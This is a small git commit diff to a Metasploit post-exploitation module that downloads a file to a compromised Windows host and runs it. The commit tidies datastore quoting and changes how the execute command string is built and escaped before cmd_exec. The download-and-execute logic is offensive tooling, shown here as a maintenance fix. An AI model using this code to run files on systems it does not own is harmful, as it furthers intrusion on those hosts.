download_exec_fix

unstable
RageLtMan 2012-02-05 14:35:44 -05:00
parent b2ae8a24dc
commit 53ec982385
1 changed files with 5 additions and 5 deletions

View File

@ -88,8 +88,8 @@ class Metasploit3 < Msf::Post
end
outpath = path + '\\' + filename
exec = datastore["EXECUTE"]
exec_string = datastore["EXEC_STRING"] || ''
exec = datastore['EXECUTE']
exec_string = datastore['EXEC_STRING'] || ''
output = datastore['OUTPUT']
remove = datastore['DELETE']
@ -112,11 +112,11 @@ class Metasploit3 < Msf::Post
# Execute file upon request
if exec
begin
cmd = outpath + ' ' + exec_string
cmd = "#{outpath} #{exec_string}"
# If we don't have the following gsub, we get this error in Windows:
# "Operation failed: The system cannot find the file specified"
cmd = cmd.gsub(/\\/, '\\\\\\')
cmd = cmd.gsub(/\\/, '\\\\\\').gsub(/\s/, '\ ')
print_status("Executing file: #{cmd}")
res = cmd_exec(cmd)